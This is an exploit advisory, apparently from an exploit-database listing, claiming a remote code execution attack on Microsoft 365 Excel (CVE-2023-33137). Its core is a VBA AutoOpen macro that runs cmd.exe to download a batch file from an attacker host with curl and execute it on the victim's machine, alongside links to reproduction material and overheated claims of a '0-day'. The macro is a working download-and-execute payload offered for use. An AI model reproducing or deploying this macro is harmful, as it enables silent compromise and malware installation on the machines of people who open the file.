## Title:Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE) ## Author: nu11secur1ty ## Date: 06.27.2023 ## Vendor: https://www.microsoft.com/ ## Software: https://www.microsoft.com/en-us/microsoft-365/excel ## Reference: https://portswigger.net/daily-swig/rce ## CVE-2023-33137 ## Description: This exploit is connected with third part exploit server, which waits for the victim to call him and execute the content from him using the pipe posting method! This is absolutely a 0-day exploit! This is absolutely dangerous for the victims, who are infected by him! When the victim hit the button in the Excel file, it makes a POST request to the exploit server, and the server is responding back that way: He creates another hidden malicious file and executed it directly on the machine of the victim, then everything is disappeared, so nasty. STATUS: HIGH Vulnerability WARNING: THIS IS VERY DANGER for the usual users! [+]Exploit: ```vbs Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/nu11secur1ty/somwhere/ontheinternet/maloumnici.bat > maloumnici.bat && .\maloumnici.bat", vbNormalFocus) End Sub ``` ## Reproduce: [href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33137) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/06/microsoft-excel-microsoft-365-mso.html) ## Time spend: 01:27:00